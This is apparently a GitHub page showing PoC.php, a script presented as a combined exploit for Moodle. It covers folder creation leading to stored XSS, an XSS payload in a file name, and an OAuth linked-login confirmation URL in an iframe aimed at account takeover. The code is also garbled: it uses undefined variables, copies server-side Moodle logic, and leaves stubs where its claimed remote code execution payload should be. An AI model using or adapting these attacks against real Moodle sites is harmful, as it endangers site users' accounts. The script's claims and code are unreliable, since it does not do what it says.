-
Notifications
You must be signed in to change notification settings - Fork 1
/
PoC.php
67 lines (57 loc) · 2.58 KB
/
PoC.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
/**
* Combined Exploit for Moodle Vulnerabilities
*/
class CombinedExploit {
public function executeExploit() {
// Exploit 1: Unauthenticated Arbitrary Folder Creation leading to Stored XSS
$rev = "exploit_rev";
$filepath = "exploit_filepath";
$candidatefile = "{$CFG->localcachedir}/editor_tiny/{$rev}/{$filepathhash}";
@mkdir(dirname($candidatefile), $CFG->directorypermissions, true);
// Exploit 2: Self-XSS leading to Account Takeover
$token = "malicious_token";
$username = "attacker@gmail.com";
$userid = "attacker_userid";
$issuerid = "oauth_issuerid";
$redirect = "http://moodle-domain/user/edit.php?id=11%231";
$confirm_url = "http://moodle-domain/auth/oauth2/confirm-linkedlogin.php?" .
"token={$token}&userid={$userid}&username={$username}&issuerid={$issuerid}&redirect={$redirect}";
echo "<iframe src='{$confirm_url}'></iframe>";
// Exploit 1: Continued
$path = "/var/www/html/pix/f/<input><img src=x onerror=alert(1)>.png";
$icons = array();
if ($handle = @opendir($path)) {
while (($file = readdir($handle)) !== false) {
$matches = array();
if (preg_match('~(.+?)(?:-24|-32|-48|-64|-72|-80|-96|-128|-256)?\.(?:svg|gif|png)$~',
$file, $matches)) {
$key = $matches[1];
$icons[$key] = $key;
}
}
closedir($handle);
}
ksort($icons);
// Exploit 2: Continued
// Exploit successful, execute XSS payload
// JavaScript payload goes here
// ...
// Exploit 1: Remote Code Execution
// Exploit code goes here
$rev = "1"; // Arbitrary value, can be controlled by attacker
$filepathhash = "somehash"; // Arbitrary value, can be controlled by attacker
// Construct paths for arbitrary folder creation
$candidatefileTiny = "/var/www/html/localcachedir/editor_tiny/{$rev}/lang/{$filepathhash}/lang.json";
$candidatefileLoader = "/var/www/html/localcachedir/editor_tiny/{$rev}/{$filepathhash}";
// Create arbitrary folders
@mkdir(dirname($candidatefileTiny), $CFG->directorypermissions, true);
@mkdir(dirname($candidatefileLoader), $CFG->directorypermissions, true);
// Exploit successful, execute remote code
// Code execution payload goes here
// Exploit 2: Continued
}
}
$combinedExploitInstance = new CombinedExploit();
$combinedExploitInstance->executeExploit();
?>